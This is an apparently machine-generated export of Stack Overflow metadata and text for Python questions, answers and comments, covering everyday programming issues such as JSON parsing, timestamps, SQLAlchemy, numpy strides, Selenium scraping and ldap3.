has text: It working, because there is replace `Null` to `NaN`s.
type: Comment

http://stackoverflow.com/comment/84608871
score: 1
has text: `entry_point` is strongly recommended if possible. Have a look at [the examples](https://github.com/takluyver/pynsist/tree/master/examples) to see how to use it. If you're using `script` instead, you need to ensure the script has at least the boilerplate [described in the docs](http://pynsist.readthedocs.io/en/latest/cfgfile.html#application-section).
type: Comment
comment on: http://stackoverflow.com/q/48784162
type: QuestionComment

http://stackoverflow.com/q/48721603
has answer: http://stackoverflow.com/a/48721653
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/1132941
upvote count: 0
score: -2
has answer: http://stackoverflow.com/a/48722204
has comment: http://stackoverflow.com/comment/84442400
tagged with: class
has body: I have the following code so far. I want to display unit1 information as a string but the prereq details are stored in a list and I am not quite sure why it is blank instead of displaying math, Python class The_Unit: def __init__(self,code,name,prereq=[]): self.code = code self.name = name self.prereq =[] def __repr__(self): return self.__str__() def __str__(self): return 'Code: ' + self.code + \ '\nName: ' + self.name + \ '\nprerequisites: ' + '\n'.join((str(x) for x in self.prereq)) unit1 = The_Unit('11','coding',['math','python']) print(unit1) Code: 11 Name: coding prerequisites:
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/84442088
accepted answer: http://stackoverflow.com/a/48722204
has title: How to display a list as a string in a class Python?
tagged with: python
has comment: http://stackoverflow.com/comment/84442128
type: AnsweredQuestion
tagged with: list
downvote count: 2
possible better answer: http://stackoverflow.com/a/48721653

http://stackoverflow.com/a/48789654
upvote count: 1
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48788892
downvote count: 0
has body: Currently your var is just a (unicode) string containing the information. You need to parse it, so it is a dictionary object, which can handle the item access. The easiest way is to use the json module, since your string seems to be a valid json object: import json var = """ { "AlarmName":"ZDR ALARAM - 404 - ERROR", "AlarmDescription":"This will check the 404 Errors in ZDR server", "Trigger":{ "MetricName":"ZDR4dor", "Namespace":"ZDRLdics", "StatisticType":"Statistic", "Statistic":"SUM", "Unit":null, "Dimensions":[ ], "Period":60, "EvaluationPeriods":1, "ComparisonOperator":"GreatergrfdgsThreshold", "Threshold":0, "TreatMissingData":"", "EvaluatxcbleCountPercentile":"" } } """ var = json.loads(var) print(var['AlarmName']) # ZDR ALARAM - 404 - ERROR
score: 1
accepted answer of: http://stackoverflow.com/q/48788892

http://stackoverflow.com/a/48683157
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84363483
accepted answer of: http://stackoverflow.com/q/48683024
type: Answer
has comment: http://stackoverflow.com/comment/84364037
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/84363629
has body: Based on this for word in line.split(): if(word == "'fieldname':"): fieldnametemp.append(line.split(':')[1]) every element in fieldnametemp starts with a whitespace. So the content of element when you do element.startswith("'param.") also starts with a whitespace, so you are actually doing: " 'param.abc'".startswith("'.param") which is obviously false. you need to include the whitespace: element.startswith(" 'param.")
answers question: http://stackoverflow.com/q/48683024

http://stackoverflow.com/comment/84383907
type: AnswerComment
comment on: http://stackoverflow.com/a/48667464
score: 0
type: Comment
has text: Instead of `range()` I would use `enumerate()` to iterate over a number *and* the values in `default_row`.

http://stackoverflow.com/q/48757836
score: 23
has body: I received the servertime from the Binance-API,I try to work with and it looks like this: { "serverTime": 1518440400000 } The question is, how can I compute the date out of this stamp? I tried import datetime print(datetime.datetime.fromtimestamp( int("1518308894652")).strftime('%Y-%m-%d %H:%M:%S')) But the date wasn´t valid. Do you have ideas, or is it to specific? Thank you!
downvote count: 1
upvote count: 24
type: Question
has comment: http://stackoverflow.com/comment/84517095
tagged with: date
has title: Compute Date out of Timestamp from Binance-API (Python)
has answer: http://stackoverflow.com/a/71896465
answer count: 3
tagged with: api
has comment: http://stackoverflow.com/comment/117749997
favorite count: 0
has answer: http://stackoverflow.com/a/48758098
has answer: http://stackoverflow.com/a/48758122
has comment: http://stackoverflow.com/comment/84517122
tagged with: python
accepted answer: http://stackoverflow.com/a/48758098
tagged with: timestamp
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48758122

http://stackoverflow.com/comment/84404542
has text: What does your whole program look like? Does it finish directly after this line or does it continue running for an hour?
score: 0
comment on: http://stackoverflow.com/q/48702794
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84610552
type: QuestionComment
comment on: http://stackoverflow.com/q/48803765
has text: Have a look at my answer here: https://stackoverflow.com/questions/48787563/press-esc-to-stop-and-any-other-key-to-continue-in-python/48788260
score: 0
type: Comment

http://stackoverflow.com/q/48748718
answer count: 1
has comment: http://stackoverflow.com/comment/84497677
has body: I am trying to use a relationship primary join to join two tables, where the join is the result of finding the name in table2 that the longest substring of the name in table1. The standard postgres SQL for this problem works - I'm trying to translate it to a SQLAlchemy join. The sql is: select distinct on (t1.name) t2.name from table1 t1 join table2 t2 on t1.name like format('%%%s%%', t2.name) order by t1.name desc, char_length(t2.name) desc; For each name in table1, it joins the name in table2 that is the longest substring of that name in table1. The problem I am facing is translating it to a SQLALchemy relationship, that is class Table1(db.Model): __tablename__ = 'table1' ... name = db.Column(db.String) ... t1t2= db.relationship("Table2", primaryjoin="...")
score: 0
has title: SQLAlchemy relationship primaryjoin translation
has comment: http://stackoverflow.com/comment/84550379
has answer: http://stackoverflow.com/a/50312421
type: UnansweredQuestion
tagged with: python
tagged with: sqlalchemy
type: Question

http://stackoverflow.com/comment/84470212
comment on: http://stackoverflow.com/a/48735369
has text: I agree with you, but I'm reading about Comprehensions and just was curious if I can solve this with Comprehensions
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84894133
comment on: http://stackoverflow.com/a/48861890
score: 0
has text: @Ant: If you consider the link() trick roughly equivalent to a mutex, you could look how reader-writer locks (rwlocks) are implemented on top of mutexes as inspiration.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/84502511
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48750897
score: 1
has text: I suggest you learn how to debug your own code. Read https://stackoverflow.com/questions/25385173/what-is-a-debugger-and-how-can-it-help-me-diagnose-problems for some tips to get started. Debugging will show that you are attempting to convert the word `"Math"` to an integer value. (As will carefully reading the error message.)

image-scanner
tag name: image-scanner
type: Tag
tags question: http://stackoverflow.com/q/48776853

http://stackoverflow.com/comment/84372571
type: QuestionComment
score: 1
has text: @LevonAsatryan `self.vector == other.vector` will always work. It is guaranteed by the language. You also don't need semi colons in python. Ever. There must be a problem in your logic. The final code block you've given us is also broken. `vectors = []` and `n = tmp.size()` are indented differently, which will cause an indentation error. I suggest fixing the code you've given us (and show us what `tmp` is) if you want help!
type: Comment
comment on: http://stackoverflow.com/q/48686753

http://stackoverflow.com/a/48771570
accepted answer of: http://stackoverflow.com/q/48770199
score: 0
type: AcceptedAnswer
has body: You can use strip to remove all spaces in the start &amp; end and then use split by "\n" to get the required output. I have also used the filter method to remove any empty string or values. Ex: A = ['\n\n\n1958\n\n\nGeorge Lees\n'] print filter(None, A[0].strip().split("\n")) Output: ['1958', 'George Lees']
answers question: http://stackoverflow.com/q/48770199
type: Answer

http://stackoverflow.com/comment/84316386
has text: ssohistory is my html file and the route.
score: 0
comment on: http://stackoverflow.com/q/48657726
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48677915
upvote count: 0
score: -7
has comment: http://stackoverflow.com/comment/84353830
favorite count: 0
has comment: http://stackoverflow.com/comment/84353866
linked to: http://stackoverflow.com/q/48665147
has answer: http://stackoverflow.com/a/48677987
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84353589
tagged with: python
has answer: http://stackoverflow.com/a/48678144
has body: I got response like this .. 7\x00E\x00Y\x00u\x00\x97\x00\xb2\x00\xb9\x00\xac\x00\x98\x00\x87\x00x\x00[\x00(\x00\xf0\xff\xd8\xff\xfd\xffX\x00\xbb\x00\xf8\x00\x04\x01\xf8\x00\xf2\x00\xf8\x00\xf9\x00\xe7\x00\xc4\x00\x99\x00i\x007\x00\t\x00\xea\xff\xdb\xff\xd6\xff\xd0\xff\xca\xff\xca\xff\xd6\xff\xe9\xff\xfa\xff\x04\x00\x05\x00\x06\x00\x0b\x00\x12\x00\x15\x00\x12\x00\x0b\x00\x06\x00\x06\x00\x07\x00\n\x00\x10\x00\x16\x00\x1a\x00\x1a\x00\x18\x00\x16\x00\x12\x00\t\x00\xfe\xff\xf7\xff\xfb\xff\x08\x00\x1a\x00(\x000\x008\x00F\x00X\x00a\x00X\x00E\x008\x002\x00(\x00\x12\x00\xf7\xff\xe5\xff\xd9\xff\xc5\xff\xa7\xff\x93\xff\x99\xff\xaa\xff\xa8\xff\x91\xff\x87\xff\x9f\xff\xba\xff\xb1\xff\x96\xff\xa5\xff\xeb\xff\x15\x00\xc4\xff\x17\xff\xac\xfe\t\xff\x15\x005\x01\xea\x01,\x02.\x02\x05\x02\x98\x01\xe4\x00\x19\x00v\xff\x17\xff\xf6\xfe\t\xffK\xff\xa7\xff\xfb\xff)\x00&amp;\x00\xf8\xff\xa8\xffG\xff\xf6\xfe\xda\xfe\t\xff\x85\xff@\x00\x1c\x01\xf0\x01\x8c\x02\xc1\x02u\x02\xa6\x01s\x00\x17\xff\xd5\xfd\xe6\xfck\xfcy\xfc\x15\xfd'\xfet\xff\xb2\x00\xac\x01C\x02m\x02(\x02\x8a\x01\xc6\x00\x17\x00\xa3\xffy\xff\x91\xff\xd8\xff(\x00X\x00M\x00\t\x00\x9b\xff\x17\xff\x93\xfe9\xfe;\xfe\xb6\xfe\xa1\xff\xca\x00\xf4\x01\xee\x02\x8f\x03\xb3\x03B\x03M\x02\x07\x01\xab\xffa\xfeM\xfd\xb0\xfc\xd3\xfc\xc1\xfd\x15\xff.\x00\x9b\x00b\x00\xe6\xff\x8b\xffz\xff\xa3\xff\xe7\xff1\x00y\x00\xb5\x00\xd7\x00\xd7\x00\xb9\x00\x8e\x00g\x00K\x009\x001\x007\x00H\x00Y\x00^\x00W\x00M\x00I\x00I\x00G\x00C\x00I\x00]\x00w\x00\x8c\x00\x98\x00\xa6\x00\xb8\x00\xc2\x00\xb8\x00\x9f\x00\x89\x00~\x00w\x00g\x00I\x00&amp;\x00\x06\x00\xed\xff\xda\xff\xcd\xff\xc6\xff\xc2\xff\xba\xff\xaf\xff\xa5\xff\xa5\xff\xab\xff\xad\xff\xa5\xff\x9b\xff\x9b\xff\xa7\xff\xb5\xff\xc0\xff\xca\xff\xd4\xff\xd7\xff\xcf\xff\xc8\xff\xcf\xff\xd8\xff\xd4\xff\xc7\xff\xcc\xff\xea\xff\xfd\xff\xe6\xff\xcf\xff\x1a\x00\xf4\x00\x0f\x02\xcf\x02\xd0\x02#\x02\x19\x01\xf6\xff\xe7\xfe\x1b\xfe\xd2\xfd'\xfe\xf5\xfe\xf9\xff\xfb\x00\xd8\x01m\x02\x91\x022\x02l\x01v\x00\x86\xff\xb9\xfe#\xfe\xd…
downvote count: 7
type: Question
has title: what is the type of response is this?
answer count: 2

http://stackoverflow.com/a/50987919
type: Answer
score: 2
downvote count: 0
has body: It also depends on the question for which tool you need(data reduction, otu clustering, making a tree, etc..). These days you see a shift in cluster tools that uses a more dynamic approach instead of a fixed similarity cutoff. Example: DADA2 UNOISE Seekdeep Fixed clustering: CD-HIT uclust vsearch
upvote count: 2
answers question: http://stackoverflow.com/q/48666310

http://stackoverflow.com/q/48722899
tagged with: python
has body: I'm trying to pick a 3d point. I read various sites but my code doesn't work. on right mouse click: glGetFloatv(GL_MODELVIEW_MATRIX,mv_mat) glGetFloatv(GL_PROJECTION_MATRIX,p_mat) ip_mat = np.linalg.inv(mat4(p_mat)) # clip = array[ # (2*x)/window_width-1 # 1-(y*2)/window.height # -1 # 1 camera_coord = np.dot(ip_mat,clip) camera_coord = np.array([camera_coord[0,0],camera_coord[0,1],-1,0]) imv_mat = np.linalg.inv(mat4(mv_mat)) ray_world = np.dot(imv_mat,camera_coord) ray_world = np.array([ray_world[0],ray_world[1],ray_world[2]]) ray_world = ray_world/np.linalg.norm(ray_world) Intersect_sphere function: v = np.array([model.rx,model.ry,model.rz]) - np.array([-0.5, 0.5, 0]) b = 2 * np.dot(v, ray_world) c = np.dot(v, v) - 1 * 1 delta = b * b - 4 * c if (delta &gt; 0): print('select') return True return False edit: I found a typo. Even after changing the code still does not work.
tagged with: opengl
type: UnansweredQuestion
downvote count: 1
tagged with: pyopengl
type: Question
has answer: http://stackoverflow.com/a/54963292
score: 3
tagged with: pyglet
has comment: http://stackoverflow.com/comment/86267267
upvote count: 4
answer count: 1
tagged with: opengl-compat
favorite count: 0
has title: ray intersection misses the target
has comment: http://stackoverflow.com/comment/106267161

http://stackoverflow.com/q/48794513
has title: ModelForm __init__ being called a ridiculous amount of times
favorite count: 0
tagged with: python
score: 2
tagged with: modelform
answer count: 0
downvote count: 0
type: UnansweredQuestion
has body: Just going to put some code and explain at the bottom. # modelforms.py # class MyModelModelForm(forms.ModelForm): def __init__(self, *args, **kwargs): self.request = kwargs.pop('request', None) super(MyModelModelForm, self).__init__(*args, **kwargs) print '__init__' class Meta: model = MyModel exclude = ('my_fk', ) Here I am using django-vanilla-views # views.py # class MyCreateView(NoAdminNoStaffLoginRequiredMixin, HasPermissionsMixin, CreateView): template_name = 'modelform_create.html' form_class = MyOtherModelModelForm # this modelform isn't important required_permission = 'create_model' def get_success_url(self): return reverse_lazy('mymodel_detail', kwargs={'pk': self.object.pk}) def get_context_data(self, **kwargs): context = super(MyCreateView, self).get_context_data(**kwargs) # FIXME: form's __init__ being called a lot MyModelFormset = modelformset_factory( MyModel, form=MyModelModelForm, extra=4, max_num=10, validate_max=True) if self.request.POST: formset = MyModelFormset( self.request.POST, queryset=MyModel.objects.none(), form_kwargs={'request': self.request}) else: formset = MyModelFormset( queryset=MyModel.objects.none(), form_kwargs={'request': self.request}) print formset.total_form_count() # 4, which makes sense context['formset'] = formset return context MyModelModelForm __init__ gets called 18 times. Yeah, I was wondering if I could get that from not happening. Reason being I would like it to not be called multiple times is I query the DB for forms.ChoiceField(choices=...), which queries the DB that many times unnecessarily. Or if there is a better spot for populating choices (NOTE: I cannot just do it in the same space where the field is declared.) It is a mixin that populates this certain field. If any more info is needed let me know. I had to trim down the code for only relevant info.
tagged with: django
type: Question
tagged with: django-views
upvote count: 2

http://stackoverflow.com/comment/84703546
has text: Can you add to the question some example data?
comment on: http://stackoverflow.com/q/48774560
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48728305
has comment: http://stackoverflow.com/comment/84455652
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/84455718
score: 1
has comment: http://stackoverflow.com/comment/84455645
has body: You can convert all the numbers in diff to strings first and then join them with a \n: output = list(map(str, diffs)) blut = '\n'.join(output) the extra list() is for Python 3.X and is redundant in Python 2.7. This assumes that your initial list is called diffs. There are more ways to create the target output file. You can for instance use join to write the sum, text, and numbers all at once, with open('ext.txt', 'w') as fout: fout.write(''.join(['sum = ', str(sum(diffs)), '\nnumbers are\n', blut])) here the sum is also directly computed in the input list to join and converted to a string. blut is already a list of strings. join uses an empty string as a delimiter since all necessary spaces and newlines are included in the input list. Another way would be to split the writing and add the sum first, then text, then numbers. In that case you would need to change w to append i.e. a after the first write.
has comment: http://stackoverflow.com/comment/84455657
downvote count: 0
answers question: http://stackoverflow.com/q/48728270
has comment: http://stackoverflow.com/comment/84455665
has comment: http://stackoverflow.com/comment/84455638

http://stackoverflow.com/a/48727880
has body: Try this: class student: def __init__(self,name,age): self.name = name self.age = age def display(self): stu=student("chad",14) print("this is a "+(stu.name)+str(stu.age)) s = student(None,None) s.display()
has comment: http://stackoverflow.com/comment/84455075
downvote count: 0
has comment: http://stackoverflow.com/comment/84702415
score: 1
answers question: http://stackoverflow.com/q/48727833
has comment: http://stackoverflow.com/comment/84454911
has comment: http://stackoverflow.com/comment/84454991
upvote count: 1
has comment: http://stackoverflow.com/comment/84454926
has comment: http://stackoverflow.com/comment/84702414
has comment: http://stackoverflow.com/comment/84702419
type: Answer

http://stackoverflow.com/q/48702039
tagged with: arrays
downvote count: 0
score: 7
favorite count: 0
has answer: http://stackoverflow.com/a/48745030
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/84403476
has title: Segmenting numpy arrays with as_strided
linked to: http://stackoverflow.com/q/45960192
upvote count: 7
has comment: http://stackoverflow.com/comment/84413017
accepted answer: http://stackoverflow.com/a/48745030
answer count: 1
tagged with: performance
has comment: http://stackoverflow.com/comment/84402661
tagged with: numpy
has body: I'm looking for an efficient way to segment numpy arrays into overlapping chunks. I know that numpy.lib.stride_tricks.as_strided is probably the way to go, but I can't seem to wrap my head around its usage in a generalized function that works on arrays with arbitrary shape. Here are some examples for specific applications of as_strided. This is what I would like to have: import numpy as np from numpy.lib.stride_tricks import as_strided def segment(arr, axis, new_len, step=1, new_axis=None): """ Segment an array along some axis. Parameters ---------- arr : array-like The input array. axis : int The axis along which to segment. new_len : int The length of each segment. step : int, default 1 The offset between the start of each segment. new_axis : int, optional The position where the newly created axis is to be inserted. By default, the axis will be added at the end of the array. Returns ------- arr_seg : array-like The segmented array. """ # calculate shape after segmenting new_shape = list(arr.shape) new_shape[axis] = (new_shape[axis] - new_len + step) // step if new_axis is None: new_shape.append(new_len) else: new_shape.insert(new_axis, new_len) # TODO: calculate new strides strides = magic_command_returning_strides(...) # get view with new strides arr_seg = as_strided(arr, new_shape, strides) return arr_seg.copy() So I would like to specify the axis that is going to be cut into segments, the length of the segments and the step between them. Additionally, I'd like to pass the position where the new axis is inserted as a parameter. The only thing that's missing is the calculation of the strides. I'm aware that this might not work this way directly with as_strided, i.e. I might need to implement a subroutine that returns a strided view with step=1 and new_axis in a fixed position and then slice with the desired step and transpose afterwards. Here's a piece of code that works, but is obviously quite slow: def segment_slow(arr, axis, new_len, step=1, new_axis=None): ""…
type: AnsweredQuestion

http://stackoverflow.com/q/48741983
has answer: http://stackoverflow.com/a/48743262
has title: Running a python function as keyword in robot causes infinite loop
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84486358
favorite count: 0
tagged with: android
tagged with: python
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48743262
upvote count: 2
type: Question
tagged with: robotframework
has body: I have a python function: def send_batch_email(recipient, batch=3, limit=50): for i in range(0, batch): for j in range(0, limit): jsonStr = "{\"Subject\":\""+str(i+1)+"--"+str(j+1)+"\", \"Recipient\":\""+recipient+"\"}" logger.info(jsonStr, also_console=True) send_email(jsonStr) time.sleep(200) which I am calling from a Robot Framework test case: Validate sync of multiple emails [Tags] Test2 kill_app %{appName} Wait Until Keyword Succeeds 5 min 0 sec send batch email %{localAccount} console output for the above test case is as follows: {"Subject":"1--1", "Recipient":"test@anuraagbaishya.xyz"} {"Subject":"1--1", "Recipient":"test@anuraagbaishya.xyz"} {"Subject":"1--1", "Recipient":"test@anuraagbaishya.xyz"} {"Subject":"1--1", "Recipient":"test@anuraagbaishya.xyz"} ....(infinitely) Running the function from Python console works correctly, but from robot framework the loop runs infinitely. I would appreciate any inputs on why this loop is running infinitely and how to solve this issue. Thanks in advance Note: send_email function works correctly and I receive an infinite number of mails on running the send_batch_email function
has comment: http://stackoverflow.com/comment/84484194

http://stackoverflow.com/a/48736622
has comment: http://stackoverflow.com/comment/84473286
accepted answer of: http://stackoverflow.com/q/48726938
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84473177
has comment: http://stackoverflow.com/comment/84473587
has comment: http://stackoverflow.com/comment/84473698
type: Answer
has body: PIL can convert JPEG to BMP. JPEG is compressed (frequency domain and quantised, so even if it’s lossless, two images can be different sizes just because of their content). BMP is just RGB (red, green, blue) values for each pixel plus a header. For images with the same height and width, the .bmp file will be the same size (headers plus height x width x 3 channels). The jpeg files will be smaller, though. Of course, getdata() will return pixel values regardless. If you convert bytes to binary to strings, then you need to have all the binary strings the same length, and you may need to manually add preceding 0s to some binary strings.
has comment: http://stackoverflow.com/comment/84473243
answers question: http://stackoverflow.com/q/48726938
has comment: http://stackoverflow.com/comment/84473522

http://stackoverflow.com/q/48778299
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84559433
has answer: http://stackoverflow.com/a/48784057
has comment: http://stackoverflow.com/comment/84558333
favorite count: 0
tagged with: sockets
has comment: http://stackoverflow.com/comment/84558426
tagged with: postfix-notation
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84558407
has comment: http://stackoverflow.com/comment/84558408
has comment: http://stackoverflow.com/comment/84558487
has title: How to impose (nontrivial) limits on the size of the integer? (Python)
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/48784057
has body: I'm implementing simple socket programming which compute Post-Fix operation. It's just computing a single operation such as "1044 900 - " "30 6 /" and so on. (It can compute more complicate post-fix so far) There are four operators : add, subtract, multiple, divide I'm programming server and client very defensively. And the question is... How do we impose (nontrivial) limits on the size of the integer? Anything we should know about the limitation of computing single operation in Python? My thought: I guess the python handle automatically unlike C because python is good. So we don't need to worry about it?
type: Question
has comment: http://stackoverflow.com/comment/84558439

http://stackoverflow.com/q/48698369
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84395428
tagged with: python
has body: while z[0] &lt;= D(0): if z[1] &gt;= z[0]: if Fractionate(1) &gt; 0: while z[1] &lt;= D(1): if z[2] &gt;= z[1]: if Fractionate(2) &gt; 0: while z[2] &lt;= D(2): if z[3] &gt;= z[2]: if Fractionate(3) &gt; 0: Here I have a bunch of while loops and they're all doing the same thing. I was wondering if i could use some sort of for loop to shorten this. I can't just do for i in range(0, k - 2): while z[0] &lt;= D(0): if z[i+1] &gt;= z[i]: if Fractionate(i+1) &gt; 0: Because it only does 1 while loop at a time.
has comment: http://stackoverflow.com/comment/84395809
type: Question
score: 0
tagged with: for-loop
answer count: 1
tagged with: while-loop
has answer: http://stackoverflow.com/a/48698499
has title: Python - Multiple while loops in a for loop?

http://stackoverflow.com/comment/84305773
type: Comment
has text: @HelloWorld: You never decref'd your *own* reference to the dict!
comment on: http://stackoverflow.com/a/48653395
score: 1
type: AnswerComment

http://stackoverflow.com/comment/84485721
has text: You haven't really said what the problem is. What is failing and where? Do you get an error? What do you see? Also, Python is not Java; there's not really a need for things like "wrapper classes".
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48742985
score: 1

http://stackoverflow.com/q/48656040
has answer: http://stackoverflow.com/a/48658358
has body: I am trying to mimic the gradient descent algorithm for linear regression from Andrew NG's Machine learning course to Python, but for some reason my implementation is not working correctly. Here's my implementation in Octave, it works correctly: function [theta, J_history] = gradientDescent(X, y, theta, alpha, num_iters) J_history = zeros(num_iters, 1); for iter = 1:num_iters prediction = X*theta; margin_error = prediction - y; gradient = 1/m * (alpha * (X' * margin_error)); theta = theta - gradient; J_history(iter) = computeCost(X, y, theta); end end However, when I translate this to Python for some reason it is not giving me accurate results. The cost seems to be going up rather than descending. Here's my implementation in Python: def gradientDescent(x, y, theta, alpha, iters): m = len(y) J_history = np.matrix(np.zeros((iters,1))) for i in range(iters): prediction = x*theta.T margin_error = prediction - y gradient = 1/m * (alpha * (x.T * margin_error)) theta = theta - gradient J_history[i] = computeCost(x,y,theta) return theta,J_history My code is compiling and there isn't anything wrong. Please note this is theta: theta = np.matrix(np.array([0,0])) Alpha and iters is set to this: alpha = 0.01 iters = 1000 When I run it, opt_theta, cost = gradientDescent(x, y, theta, alpha, iters) and print out opt_theta, I get this: matrix([[ 2.36890383e+16, -1.40798902e+16], [ 2.47503758e+17, -2.36890383e+16]]) when I should get this: matrix([[-3.24140214, 1.1272942 ]]) What am I doing wrong? Edit: Cost function def computeCost(x, y, theta): # Get length of data set m = len(y) # We get theta transpose because we are working with a numpy array [0,0] for example prediction = x * theta.T J = 1/(2*m) * np.sum(np.power((prediction - y), 2)) return J
accepted answer: http://stackoverflow.com/a/48658358
has comment: http://stackoverflow.com/comment/84309910
tagged with: gradient-descent
linked to: http://stackoverflow.com/q/15796119
tagged with: machine-learning
tagged with: python
type: AnsweredQuestion
score: 2
tagged with: linear-regression
has comment: http://stackoverflow.com/comment/84314076
type: Question
upvote count: 2
has title: Why is my gradient descent algorithm not working correctly?
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84309944
has comment: http://stackoverflow.com/comment/84314244
favorite count: 0

http://stackoverflow.com/comment/84482256
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48649471
has text: @Veeram Thank you !! i was looking for this !

http://stackoverflow.com/comment/84345690
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48673358
has text: @wim, what about `functools.partial` to split apart the 2 configurations?

http://stackoverflow.com/q/48656659
tagged with: web-scraping
type: Question
has title: How can I parse table data from website using Selenium?
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/48657309
has answer: http://stackoverflow.com/a/48658103
accepted answer: http://stackoverflow.com/a/48658103
tagged with: python-3.x
has body: Im trying to parse the table present in the [website][1] [1]: http://www.espncricinfo.com/rankings/content/page/211270.html using selenium, as I am beginner . i'm struggling to do that here is my code from bs4 import BeautifulSoup import time from selenium import webdriver url = "http://www.espncricinfo.com/rankings/content/page/211270.html" browser = webdriver.Chrome() browser.get(url) time.sleep(3) html = browser.page_source soup = BeautifulSoup(html, "lxml") print(len(soup.find_all("table"))) print(soup.find("table", {"class": "expanded_standings"})) browser.close() browser.quit() that I tried, I'm unable to fetch anything from this, any suggestions will be really helpful thanks
tagged with: python
tagged with: parsing
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48657309
tagged with: selenium

http://stackoverflow.com/a/48647394
score: 14
answers question: http://stackoverflow.com/q/48647268
has body: To specify fractions direction of the pie chart, you must set the counterclock parameter to True or False (value is True by default). For your need, you must replace: patches, texts = plt.pie(sizes, colors=colors, startangle=-270) with: patches, texts = plt.pie(sizes, counterclock=False, colors=colors, startangle=-270)
upvote count: 14
type: AcceptedAnswer
type: Answer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48647268

hasattr
tag name: hasattr
type: Tag
tags question: http://stackoverflow.com/q/48753721

http://stackoverflow.com/q/48735824
answer count: 1
has comment: http://stackoverflow.com/comment/84472614
tagged with: active-directory
has comment: http://stackoverflow.com/comment/84471199
accepted answer: http://stackoverflow.com/a/48737364
type: AnsweredQuestion
tagged with: ldap3
downvote count: 0
has title: Unable to modify 'cn' attribute via ldap3 module, Python 3.x
favorite count: 0
type: Question
score: 3
tagged with: python-module
tagged with: python
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84471146
upvote count: 3
has answer: http://stackoverflow.com/a/48737364
has body: I'm trying to modify 'cn' attribute of a user in Active Directory domain but it fails. Also I can't add add this attribute during the user creation process. It shows this error: {'result': 67, 'description': 'notAllowedOnRDN', 'dn': '', 'message': '000020B1: UpdErr: DSID-030F1087, problem 6004 (CANT_ON_RDN), data 0\n\x00', 'referrals': None, 'type': 'modifyResponse'} My code: def ad_connect(): server = Server(ADSERVER, use_ssl=True, port=636, get_info=ALL) conn = Connection(server, SU_LOGIN, SU_PASS, auto_bind=True, check_names=True) return conn connect = ad_connect() ... user_dn = "CN=full.name,OU=Users,DC=test,DC=com" cn = {'cn': (MODIFY_REPLACE, 'Full Name')} # it must be "Full Name" instead of "full.name" connect.modify(user_dn, changes=cn) ... connect.unbind() Is there any way to perform this modification? There are no issues with creating the user without this attribute, by the way.

http://stackoverflow.com/comment/110413978
has text: there's no such stage `release` and twine does not see environment variables in this configuration somehow
score: 0
type: Comment
comment on: http://stackoverflow.com/a/53627854
type: AnswerComment

http://stackoverflow.com/a/48708591
score: 4
answers question: http://stackoverflow.com/q/48707983
has body: If you want to reach individual objects, simply keep a reference to the individual objects instead of creating objects while overwriting the same variable with each iteration of a loop like: for i in range(30): a = i How to reach a's state where it was 13? Well, you can't as it's overwritten. Instead, use collection types. In the example below I used dict: try: # In order to be able to import tkinter for import tkinter as tk # either in python 2 or in python 3 except ImportError: import Tkinter as tk def upon_select(widget): print("{}'s value is {}.".format(widget['text'], widget.var.get())) if __name__ == '__main__': root = tk.Tk() names = {"Chester", "James", "Mike"} username_cbs = dict() for name in names: username_cbs[name] = tk.Checkbutton(root, text=name, onvalue=True, offvalue=False) username_cbs[name].var = tk.BooleanVar() username_cbs[name]['variable'] = username_cbs[name].var username_cbs[name]['command'] = lambda w=username_cbs[name]: \ upon_select(w) username_cbs[name].pack() tk.mainloop()
type: Answer
has comment: http://stackoverflow.com/comment/84417814
accepted answer of: http://stackoverflow.com/q/48707983
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84733221

http://stackoverflow.com/comment/84325374
type: AnswerComment
comment on: http://stackoverflow.com/a/48663619
score: 0
type: Comment
has text: @PaulPanzer If the "left" object doesn't implement `__eq__` (ie `class A: pass`) than Python will use the "right" object's `__eq__`. And no, there is not much you can do against it, other than using custom methods for comparison instead of `==` (which in turn could be monkey patched from outside the class, but that's a whole different story)

http://stackoverflow.com/comment/84588181
type: Comment
type: QuestionComment
has text: I am trying to get the keypath for a key, if i input a1: it should give: PROJ1/LOB1. All keys inside list[] are unique
score: 0
comment on: http://stackoverflow.com/q/48792474

http://stackoverflow.com/comment/84559227
type: QuestionComment
has text: `p1 = (p0)*(exp(-z/H))`
score: 1
comment on: http://stackoverflow.com/q/48778734
type: Comment

http://stackoverflow.com/comment/84578480
comment on: http://stackoverflow.com/q/48782104
score: 1
has text: Hmmm I am running `Debian Linux 3.10.103-marvell armv7l GNU/Linux` and Python 2.7.9. If I change the time it affects the `Event.interval` call inside `threading.Timer`.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48751127
has comment: http://stackoverflow.com/comment/84505713
downvote count: 0
has comment: http://stackoverflow.com/comment/84525340
favorite count: 0
has comment: http://stackoverflow.com/comment/84506665
